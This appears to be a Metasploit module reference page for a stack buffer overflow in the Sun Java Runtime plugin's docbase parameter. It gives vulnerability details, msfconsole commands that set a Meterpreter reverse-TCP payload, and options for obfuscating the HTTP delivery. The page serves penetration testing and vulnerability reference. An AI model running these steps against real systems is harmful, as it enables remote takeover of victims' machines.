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Sun Java Runtime New Plugin docbase Buffer Overflow

This module exploits a flaw in the new plugin component of the Sun Java Runtime Environment before v6 Update 22. By specifying specific parameters to the new plugin, an attacker can cause a stack-based buffer overflow and execute arbitrary code. When the new plugin is invoked with a "launchjnlp" parameter, it will copy the contents of the "docbase" parameter to a stack-buffer using the "sprintf" function. A string of 396 bytes is enough to overflow the 256 byte stack buffer and overwrite some local variables as well as the saved return address. NOTE: The string being copied is first passed through the "WideCharToMultiByte". Due to this, only characters which have a valid localized multibyte representation are allowed. Invalid characters will be replaced with question marks ('?'). This vulnerability was originally discovered independently by both Stephen Fewer and Berend Jan Wever (SkyLined). Although exhaustive testing hasn't been done, all versions since version 6 Update 10 are believed to be affected by this vulnerability. This vulnerability was patched as part of the October 2010 Oracle Patch release.

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Exploit Rank

  • Great

Exploit Authors

  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Windows Universal (msvcr71.dll ROP) (default)

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/windows/browser/java_docbase_bof
msf exploit(java_docbase_bof) > show payloads
msf exploit(java_docbase_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(java_docbase_bof) > set LHOST [MY IP ADDRESS]
msf exploit(java_docbase_bof) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 8080)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH The URI to use for this exploit (default is random)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)